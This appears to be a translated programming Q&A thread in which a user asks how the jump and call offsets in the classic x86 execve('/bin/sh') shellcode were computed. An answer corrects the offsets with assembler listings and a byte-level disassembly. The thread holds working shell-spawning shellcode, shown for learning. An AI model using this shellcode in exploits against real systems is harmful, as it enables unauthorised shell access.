1

为了创建 shellcode,作者将偏移量占位符替换为它们的计算值,即 This

jmp    offset-to-call           # 2 bytes
popl   %esi                     # 1 byte
movl   %esi,array-offset(%esi)  # 3 bytes
movb   $0x0,nullbyteoffset(%esi)# 4 bytes
movl   $0x0,null-offset(%esi)   # 7 bytes
movl   $0xb,%eax                # 5 bytes
movl   %esi,%ebx                # 2 bytes
leal   array-offset(%esi),%ecx  # 3 bytes
leal   null-offset(%esi),%edx   # 3 bytes
int    $0x80                    # 2 bytes
movl   $0x1, %eax               # 5 bytes
movl   $0x0, %ebx               # 5 bytes
int    $0x80                    # 2 bytes
call   offset-to-popl           # 5 bytes
/bin/sh string goes here.

被翻译成这个

jmp    0x26                     # 2 bytes
popl   %esi                     # 1 byte
movl   %esi,0x8(%esi)           # 3 bytes
movb   $0x0,0x7(%esi)           # 4 bytes
movl   $0x0,0xc(%esi)           # 7 bytes
movl   $0xb,%eax                # 5 bytes
movl   %esi,%ebx                # 2 bytes
leal   0x8(%esi),%ecx           # 3 bytes
leal   0xc(%esi),%edx           # 3 bytes
int    $0x80                    # 2 bytes
movl   $0x1, %eax               # 5 bytes
movl   $0x0, %ebx               # 5 bytes
int    $0x80                    # 2 bytes
call   -0x2b                    # 5 bytes
.string \"/bin/sh\"             # 8 bytes

但是,我计算出调用偏移量为 0x2a 或 42 字节(1+3+4+7+5+2+3+3+2+5+5+2),偏移量为 -0x2a .

作者是怎么得到0x26和-0x2b的?

4

1 回答 1

2

0x2a是正确的,可以通过组装来验证。因为call它显然会多出 5 个字节(因为那是call指令的长度),所以-0x2f是正确的。有趣的是,你们俩都没有做对;)请注意,这些是机器代码中的偏移量,而不是您可以输入汇编器的东西。为此,您应该简单地使用标签:

   1 0000 EB2A      jmp    label_call               # 2 bytes
   2                label_popl:
   3 0002 5E        popl   %esi                     # 1 byte
   4 0003 897608    movl   %esi,0x8(%esi)           # 3 bytes
   5 0006 C6460700  movb   $0x0,0x7(%esi)           # 4 bytes
   6 000a C7460C00  movl   $0x0,0xc(%esi)           # 7 bytes
   6      000000
   7 0011 B80B0000  movl   $0xb,%eax                # 5 bytes
   7      00
   8 0016 89F3      movl   %esi,%ebx                # 2 bytes
   9 0018 8D4E08    leal   0x8(%esi),%ecx           # 3 bytes
  10 001b 8D560C    leal   0xc(%esi),%edx           # 3 bytes
  11 001e CD80      int    $0x80                    # 2 bytes
  12 0020 B8010000  movl   $0x1, %eax               # 5 bytes
  12      00
  13 0025 BB000000  movl   $0x0, %ebx               # 5 bytes
  13      00
  14 002a CD80      int    $0x80                    # 2 bytes
  15                label_call:
  16 002c E8D1FFFF  call   label_popl               # 5 bytes
  16      FF
  17 0031 2F62696E  .string "/bin/sh"               # 8 bytes
  17      2F736800 

或者使用.相对地址,但这需要不同的偏移量,.指的是当前地址,而不是机器代码要求的下一条指令的地址:

   1 0000 EB2A      jmp    .+0x2c                   # 2 bytes
   2 0002 5E        popl   %esi                     # 1 byte
   3 0003 897608    movl   %esi,0x8(%esi)           # 3 bytes
   4 0006 C6460700  movb   $0x0,0x7(%esi)           # 4 bytes
   5 000a C7460C00  movl   $0x0,0xc(%esi)           # 7 bytes
   5      000000
   6 0011 B80B0000  movl   $0xb,%eax                # 5 bytes
   6      00
   7 0016 89F3      movl   %esi,%ebx                # 2 bytes
   8 0018 8D4E08    leal   0x8(%esi),%ecx           # 3 bytes
   9 001b 8D560C    leal   0xc(%esi),%edx           # 3 bytes
  10 001e CD80      int    $0x80                    # 2 bytes
  11 0020 B8010000  movl   $0x1, %eax               # 5 bytes
  11      00
  12 0025 BB000000  movl   $0x0, %ebx               # 5 bytes
  12      00
  13 002a CD80      int    $0x80                    # 2 bytes
  14 002c E8D1FFFF  call   .-0x2a                   # 5 bytes
  14      FF
  15 0031 2F62696E  .string "/bin/sh"               # 8 bytes
  15      2F736800 

两种情况下的反汇编是:

   0:   eb 2a                   jmp    0x2c
   2:   5e                      pop    %esi
   3:   89 76 08                mov    %esi,0x8(%esi)
   6:   c6 46 07 00             movb   $0x0,0x7(%esi)
   a:   c7 46 0c 00 00 00 00    movl   $0x0,0xc(%esi)
  11:   b8 0b 00 00 00          mov    $0xb,%eax
  16:   89 f3                   mov    %esi,%ebx
  18:   8d 4e 08                lea    0x8(%esi),%ecx
  1b:   8d 56 0c                lea    0xc(%esi),%edx
  1e:   cd 80                   int    $0x80
  20:   b8 01 00 00 00          mov    $0x1,%eax
  25:   bb 00 00 00 00          mov    $0x0,%ebx
  2a:   cd 80                   int    $0x80
  2c:   e8 d1 ff ff ff          call   0x2

确认正确的目标地址。

PS:在 shellcode 中使用零字节通常不是一个好主意。

于 2017-04-07T23:30:37.470 回答